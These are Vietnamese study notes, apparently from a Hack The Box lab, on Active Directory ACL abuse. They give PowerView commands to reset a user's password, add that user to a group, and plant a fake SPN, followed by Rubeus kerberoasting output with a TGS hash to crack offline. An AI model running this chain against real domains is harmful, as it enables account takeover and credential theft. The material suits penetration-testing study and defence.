ACL Abuse Tactics

Attack chain như sau, coi như là attacker đã chiếm được credential của người dùng A:

1. User A thực hiện đổi password của user B.

2. Authenticate với quyền người dùng B có quyền GenericWrite sau đó add user B và group HelpDesk.

3. Tận dụng nested group membership trong group IT và quyền GenericAll để take control user C.

Create PSCredential Object:

$SecPassword = ConvertTo-SecureString '<new password>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\A', $SecPassword) 

Sử dụng SecureString object để represent password muốn đặt cho user B

Create SecureString Object:

$BPassword = ConvertTo-SecureString '<new password>' -AsPlainText -Force

Cuối cùng là sử dụng Set-DomainUserPassword của powershell để change password, với -Credential là credential của user A mà ta đã tạo. Với linux thì sử dụng pth-net (pth-toolkit).

Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity B -AccountPassword $BPassword -Credential $Cred -Verbose

Add user B vào group HelpDesk:

$SecPassword = ConvertTo-SecureString '<new password>' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('domain\B', $SecPassword)
Get-ADGroup -Identity "HelpDesk" -Properties * | Select -ExpandProperty Members
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'B' -Credential $Cred2 -Verbose

Bây giờ user B đã có quyền GerericAll , sử dụng user này để Kerberoasting attack bằng cách sửa attribute servicePrincipalName để tạo một SPN fake mà sau đó có thể kerberoast để lấy TGS ticket và crack hash offline.

Với authenticate thành công một member trong group IT và user B đã nằm trong group HelpDesk, ta đã kế thừa được nested group membership. Sử dụng Set-DomainObject để tạo fake SPN, với linux sử dụng targetedKerberoast.

Set-DomainObject -Credential $Cred2 -Identity 'C' -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

Kerberoasting with Rubeus:

.\Rubeus.exe kerberoast /user:C /nowrap

PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : adunn
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/[email protected]*$ <SNIP>

Sau đó sử dụng Hashcat mode 13100 để crack cleartext password.